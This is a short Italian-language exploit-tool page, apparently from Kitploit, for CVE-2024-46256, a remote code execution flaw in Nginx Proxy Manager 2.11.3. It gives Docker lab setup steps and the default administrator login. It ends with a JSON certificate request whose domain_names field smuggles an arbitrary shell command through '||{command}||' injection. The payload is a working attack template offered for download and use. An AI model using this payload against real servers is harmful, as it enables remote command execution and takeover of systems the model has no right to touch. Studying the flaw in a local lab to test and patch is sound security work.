CVE-2024-46256 — CVE-2024-46256 strumento | Kitploit

Condividi

Analisi della vulnerabilità RCE CVE-2024-46256 in Nginx Proxy Manager

Configurazione dell'ambiente

1. Avvio dell'ambiente Nginx Proxy Manager 2.11.3


docker-compose up -d

Oppure è possibile utilizzare lo script automatico:


python setup_environment.py

2. Accesso a Nginx Proxy Manager

URL: http://localhost:81
Completare la configurazione iniziale, quindi procedere con il test
Accedere con l'account amministratore predefinito (email: [email protected] / password: changeme)
Verificare i permessi di accesso alle funzionalità relative all'emissione dei certificati

Informazioni sulla vulnerabilità

CVE ID: CVE-2024-46256
Prodotto: Nginx Proxy Manager

Scarica lo strumento

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}